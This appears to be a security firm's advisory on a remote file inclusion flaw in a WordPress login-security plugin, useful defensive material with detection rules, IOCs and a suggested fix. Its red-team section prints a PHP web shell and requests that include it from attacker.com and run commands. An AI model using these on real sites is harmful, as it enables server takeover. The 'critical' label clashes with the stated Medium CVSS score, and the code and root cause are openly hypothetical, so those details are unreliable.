CVE-2024-35650

Executive Summary

CVE-2024-35650 is a critical vulnerability in the MelaPress Login Security WordPress plugin, affecting versions up to and including 1.3.0. The vulnerability is classified as a PHP Remote File Inclusion (RFI) due to improper control of filenames in include/require statements. This allows an unauthenticated attacker to remotely include arbitrary files from external servers, potentially leading to remote code execution, data exfiltration, or complete site compromise. The vulnerability is currently unpatched, and no official fix has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the risk remains high due to the nature of the flaw.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor for updates and consider disabling the plugin until a patch is available. No known supply chain attacks have been reported, but the unpatched status increases the risk of malicious actors leveraging this flaw.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
• Base Score: 4.9 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the potential for remote code execution via RFI elevates the real-world risk. The lack of a patch and the ease of exploitation make this a priority for defenders.

Deep Dive & Mechanics

The vulnerability resides in the melapress-login-security plugin, specifically in how it handles file inclusion for template or configuration files. The plugin fails to sanitize user-supplied input used in PHP include() or require() statements, allowing an attacker to specify a remote URL as the file path.

Root Cause: The plugin likely uses a parameter (e.g., page, tab, or action) to dynamically include files. Without proper validation, an attacker can inject a URL like http://attacker.com/evil.php to include a malicious script.

Attack Flow:

1. Attacker identifies a vulnerable endpoint (e.g., /wp-admin/admin.php?page=melapress-login-security&tab=...).
2. Attacker crafts a request with a malicious tab parameter pointing to a remote PHP shell.
3. The plugin includes the remote file, executing arbitrary PHP code on the server.
4. Attacker gains unauthorized access, exfiltrates data, or installs backdoors.

Impact: Full site compromise, data theft, privilege escalation, and potential lateral movement within the hosting environment.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be similar to:

// Vulnerable code (hypothetical)
$tab = $_GET['tab'];
include(plugin_dir_path(__FILE__) . 'templates/' . $tab . '.php');

Patched Code (Expected):

// Patched code
$allowed_tabs = array('settings', 'logs', 'reports');
$tab = sanitize_key($_GET['tab']);
if (in_array($tab, $allowed_tabs)) {
    include(plugin_dir_path(__FILE__) . 'templates/' . $tab . '.php');
} else {
    wp_die('Invalid tab.');
}

The patch should implement a whitelist of allowed files and sanitize input using sanitize_key() or similar functions.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target WordPress site with MelaPress Login Security <= 1.3.0.
• Attacker-controlled server hosting a malicious PHP file (e.g., shell.php).

Exploitation Steps:

1. Host a PHP web shell on your server:

   <?php system($_GET['cmd']); ?>
   

2. Send a crafted HTTP request to the vulnerable endpoint:

   GET /wp-admin/admin.php?page=melapress-login-security&tab=http://attacker.com/shell.php HTTP/1.1
   Host: target.com
   

3. Execute commands via the web shell:

   GET /wp-admin/admin.php?page=melapress-login-security&tab=http://attacker.com/shell.php&cmd=id HTTP/1.1
   

Lab Setup:

• Use a local WordPress installation with the vulnerable plugin.
• Set up a simple HTTP server (e.g., python3 -m http.server 8080) to host the malicious file.
• Use curl or Burp Suite to send requests.

Blue Team (Detection & Response)

Detection:

• Monitor for outbound HTTP requests to unknown IPs from the web server.
• Look for suspicious tab parameters containing URLs or path traversal sequences.
• Alert on PHP files being included from external sources.

Response:

1. Immediately isolate the affected server.
2. Review web server logs for requests containing tab=http:// or tab=ftp://.
3. Remove the vulnerable plugin or apply a virtual patch via WAF.
4. Scan for backdoors and unauthorized user accounts.
5. Rotate all credentials and API keys.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound connections to attacker-controlled IPs on port 80/443.
  • HTTP requests with tab parameter containing http://, https://, or ftp://.
• File IOCs:
  • Unexpected PHP files in /wp-content/plugins/melapress-login-security/ directory.
  • Web shells in /wp-admin/ or /wp-content/uploads/.
• Log IOCs:
  • PHP errors indicating failed includes or warnings about remote file inclusion.
  • Access logs showing unusual tab values.

Detection Engineering

YARA Rule

rule CVE_2024_35650_MelaPress_RFI {
    meta:
        description = "Detects attempts to exploit CVE-2024-35650 in MelaPress Login Security"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-35650"
    strings:
        $s1 = "melapress-login-security" nocase
        $s2 = "tab=" nocase
        $s3 = "http://" nocase
        $s4 = "https://" nocase
        $s5 = "ftp://" nocase
    condition:
        all of ($s1, $s2) and any of ($s3, $s4, $s5)
}

Sigma Rule

title: CVE-2024-35650 MelaPress Login Security RFI Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP requests attempting to exploit RFI in MelaPress Login Security
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 
            - 'tab=http://'
            - 'tab=https://'
            - 'tab=ftp://'
        cs-uri-stem|contains: 'melapress-login-security'
    condition: selection
falsepositives:
    - Legitimate use of external resources (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-35650 MelaPress Login Security RFI Attempt"; flow:to_server; content:"melapress-login-security"; http_uri; content:"tab="; http_uri; pcre:"/tab=(http|https|ftp):\/\//i"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Implement a Web Application Firewall (WAF) rule to block requests containing tab=http://, tab=https://, or tab=ftp://.
3. Monitor logs for exploitation attempts and respond accordingly.

Long-term Fix:

• The vendor must release a patched version that implements input validation and a whitelist of allowed files.
• Users should update to the latest version once available.

Workaround:

• If the plugin cannot be disabled, manually edit the vulnerable file to add input sanitization (see patched code example).

Valters IT
Securing Digital Frontiers